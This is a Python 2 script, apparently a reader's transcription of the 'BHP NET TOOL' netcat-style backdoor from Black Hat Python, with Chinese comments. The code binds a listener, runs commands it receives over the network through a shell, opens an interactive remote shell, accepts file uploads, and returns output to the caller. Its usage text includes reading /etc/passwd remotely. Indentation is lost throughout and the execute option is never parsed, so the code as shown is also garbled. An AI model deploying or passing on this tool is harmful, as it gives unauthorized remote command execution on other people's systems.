python execute_command err_Python 第一个脚本

#! /usr/bin/env python

#coding=utf-8

import sys

import socket

import getopt

import threading

import subprocess

listen = False

command = False

upload = False

execute =""

target =""

upload_destination = ""

port = 0

def usage():

print "BHP NET TOOL"

print

print "usage bhpnet.py -t target_host -p -port"

print "-l -listen -listen on [host]:[port]for incoming connects"

print "-e execute=file_to_run -execute the given file upon receiving a connects"

print "-c command -initialize a command shell"

print "-u -upload_destination -upon recviving connections upload a file and write to destination"

print

print

print "Examples:"

print "bhpnet.py -t 192.168.0.1 -p 5555 -l -c"

print "bhpnet.py -t 192.168.0.1 -p 5555 -l -e=\"cat /etc/passwd\""

print "echo 'ABCDEFGHI'| ./bhpnet.py -t 192.168.11.12 -p 135"

sys.exit()

def client_sender(buffer):

client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:

#连接到目标主机

client.connect((target,port))

if len(buffer):

client.send(buffer)

while True:

#现在等待数据回传

recv_len = 1

response = ""

while recv_len:

data = client.recv(4096)

recv_len = len(data)

response += data

if recv_len < 4096:

break

print response,

#等待更多的输入

buffer = raw_input("")

buffer += "\n"

#发送出去

client.send(buffer)

except:

print "[*] Exception! Exiting."

#关闭连接

client.close()

def server_loop():

global target

if not len(target):

target="0.0.0.0"

server=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

server.bind((target,port))

server.listen(5)

while True:

client_socket,addr=server.accept()

#分拆一个线程处理新的客户端

client_thread=threading.Thread(target=client_handler,args=(client_socket,))

client_thread.start()

def run_command(command):

command=command.rstrip()

try:

output=subprocess.check_output(command,stderr=subprocess.STDOUT,shell=True)

except:

output="failed to execute command.\r\n"

#将输出发送

return output

def client_handler(client_socket):

global upload

global execute

global command

if len(upload_destination):

file_buffer=""

while True:

data=client_socket.recv(1024)

if not data:

break

else:

file_buffer+=data

try:

file_descript=open(upload_destination,"wb")

file_descript.write(file_buffer)

file_descript.close()

client_socket.send("sucessfully saved file to %s\r\n"%upload_destination)

except:

client_socket.send("falied to save file to %s\r\n"%upload_destination)

#检测命令执行

if len(execute):

#运行命令

output = run_command(execute)

client_socket.send(output)

#如果需要一个命令行shell，那么我们进入另一个循环

if command:

while True:

#跳出一个窗口

client_socket.send(" ")

#现在我们接收文件直到发现换行符(enter key)

cmd_buffer = ""

while "\n" not in cmd_buffer:

cmd_buffer += client_socket.recv(1024)

#返还命令输出

response = run_command(cmd_buffer)

#返回响应数据

client_socket.send(response)

def main():

global listen

global command

global upload

global execute

global target

global upload_destination

global port

if not len(sys.argv[1:]):

usage()

#读取命令行选项

try:

opts,args =getopt.getopt(sys.argv[1:], "hle:t:p:cu:",["help","listen","execute","target","port","command","upload"])

except getopt.GetoptError as err:

print str(err)

usage()

for o,a in opts:

if o in ("-h","--help"):

usage()

elif o in ("-l","-listen"):

listen = True

elif o in ("-c","commandshell"):

command= True

elif o in ("-u","--upload"):

upload_destination = a

elif o in ("-t","--target"):

target=a

elif o in ("-p","--port"):

port=int(a)

else:

assert False,"unhandled option"

if not listen and len(target) and port >0:

#从命令行读取内存数据

#这里将阻塞，所以不在向标准输入发送数据发送 CTRL -D

buffer = sys.stdin.read()

#发送数据

client_sender(buffer)

#我们开始监听并准备上传文件、执行命令

#放置一个反弹shell

#取决于上面的命令选项

if listen:

server_loop()

main()